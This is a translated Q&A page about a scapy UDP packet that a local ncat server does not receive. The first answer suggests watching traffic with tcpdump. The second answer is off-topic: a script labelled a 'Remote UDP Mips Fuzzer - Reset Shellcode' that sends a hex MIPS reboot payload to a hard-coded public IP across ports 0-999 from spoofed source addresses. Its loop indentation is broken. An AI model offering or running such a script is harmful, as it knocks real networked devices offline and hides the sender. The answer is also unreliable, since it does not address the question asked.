UDP数据包不适用于scapy?

时间:2013-06-15 23:16:54

标签: python scapy

我制作了一个简单的程序,试图将UDP数据包发送到我的ncat服务器

这是代码:

from scapy.all import *

sr1(IP(dst="127.0.0.1")/UDP(dport=8080)/"TAG1")

但是我的ncat服务器什么也没收到,有人可以告诉我我做错了什么吗?

2 个答案:

答案 0 :(得分:1)

在开发网络相关项目时,我建议您安装捕获软件,如tcpdump或wireshark。它让你知道网络中的内容 要使用tcpdump将所有数据包获取到127.0.0.1,可以使用以下命令:

 tcpdump -i eth0 "dst 127.0.0.1 and dst port 8080"

答案 1 :(得分:0)

试试这个

from scapy.all import * 
print("Remote UDP Mips Fuzzer - Reset Shellcode")
for num in range(0,10):
data = "00" * int(str(num))
sc = "3c06432134c6fedc3c05281234a519693c04fee13484dead24020ff80101010c"
a = data+sc
for ip in range(0,255):
  for port in range(0,1000):
    i=IP()
    i.dst="213.48.152.128"              #Change this
    i.src="10.0"+"."+str(ip)+"."+str(ip)
    udp=UDP()
    udp.sport=int(str(port))
    udp.dport=int(str(port))
    sendp(i/udp/a)

看看它是如何运作的?

相关问题